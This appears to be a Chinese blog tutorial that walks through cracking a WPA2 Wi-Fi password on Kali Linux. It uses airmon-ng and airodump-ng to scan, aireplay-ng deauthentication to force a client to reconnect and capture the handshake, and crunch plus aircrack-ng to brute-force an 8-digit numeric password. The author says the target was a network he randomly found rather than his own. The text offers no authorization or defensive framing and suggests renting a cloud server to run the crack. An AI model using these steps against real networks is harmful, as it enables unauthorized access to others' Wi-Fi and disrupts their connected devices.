Aircrack_ng + crunch暴力破解WIFI密码

操作系统：Kali Linux.

使用工具：Aircrack-ng, crunch.

作者：lfeng.

    编程是一种乐趣，本人在家或者在校闲着没事干，有思想便研究了一下怎么破解 Wi-Fi 密码，也算有点成就感吧。本文章为了争取通俗易懂，我尽量保证让新手也能看得懂，如果完全没有 Linux 基础的还是先去坐着吧！

看本文章前提是：不要对命令死记硬背，首先得把思想原理和步骤搞清楚。

1. 打开 Wi-Fi 界面，先要断开 Wi-Fi 连接，防止后面出现错误。

2. Airmon-ng  查看支持监控（moniter）的网卡，我的是wlan0，每个人的可能会有不同，按照自己实际的名称来。

Aircrack_ng + crunch暴力破解WIFI密码

3. Airmon-ng start wlan0  开启该网卡监控模式(moniter)，网卡名称变为wlan0 mon，之后写网卡名称时不要错写成wlan0！我用airmon-ng命令重新确认过了。

Aircrack_ng + crunch暴力破解WIFI密码

4. Airodump-ng wlan0mon  使用该网卡开始扫描，这时会显示一大批的 Wi-Fi 热点，都是 WPA2 加密模式，差不多选择完目标后可选择 Ctrl + c 停止扫描。

Aircrack_ng + crunch暴力破解WIFI密码

5. Airodump --bssid  该 Wi-Fi 的 bssid  --chanbssid Wi-Fi的信道  --write  把捕获的包放到那里 wlan0mon。

airodump --bssid 34:80:B3:3C:FD:49  --channel  6  --write  xiaomi  wlan0mon    (建议先创建一个目录，在该目录下运行此命令)。

Aircrack_ng + crunch暴力破解WIFI密码

6. 发现连接该 Wi-Fi 的有一台设备，我们需要获取该 Wi-Fi 的用户认证包，你可以等他下次重新上线，当然是没有这么多耐心去等，于是就有了下一个命令aireplay-ng。

7. Aireplay-ng -0 3 -a  该wifi的bssid  -c 连接该 Wi-Fi 的用户设备 station  wlan0mon (-0表示发送解除认证，让该设备重新连接以获取认证包，3表示发送3次，当该数为0时表示无限次，-a表示access point，-c表示client)。

Aircrack_ng + crunch暴力破解WIFI密码

运行该命令后图5左边窗口会出现 【WPA handshake: ......】说明已抓到认证包，可以与图4对比一下。完成之后记得还要用 airmon-ng stop wlan0mon 关闭网卡监听模式！

8. 此步骤是额外步骤，也可以不执行。

我用了 wireshark 打开刚刚捕获到的包xiao.cap，点Protoco进行分类，确实发现了认证包。

Aircrack_ng + crunch暴力破解WIFI密码

9. 有了认证包以后，我们破解还需要字典，一般人密码会用八位数字去组成，于是我 用crunch 创建8位纯数字组成的字典，有837MB大小，对 crunch 工具不了解的自行百度吧。

crunch 8 8 -f /usr/share/crunch/charset.lst numeric -o wordlist.txt

调用密码库文件 charset.lst，生成最小为8，最大为8，元素为密码库 charset.lst 中 numeric的项目，并保存为 wordlist.txt；其中 charset.lst 在 kali_linux 的目录为：/usr/share/crunch/charset.lst, -o：用于指定输出字典文件的位置。

>想了解更多可以vim  /usr/share/crunch/charset.lst 查看所有密码库。

Aircrack_ng + crunch暴力破解WIFI密码

10. Aircrack-ng  捕获的.cap包  -w 密码字典。

Aircrack_ng + crunch暴力破解WIFI密码

11. 此步骤是额外步骤，也可以不执行。

因为我是自己随便找的 Wi-Fi，所以用暴力破解看运气，很耗时间，所以我干脆把他放到租的云服务器里让他自己去运行，反正现在腾讯云服务器或阿里云服务器很便宜，用上 screen 命令让其在用户退出登陆时继续运行（不了解screen工具的自行百度吧，这是一个很好用的工具噢）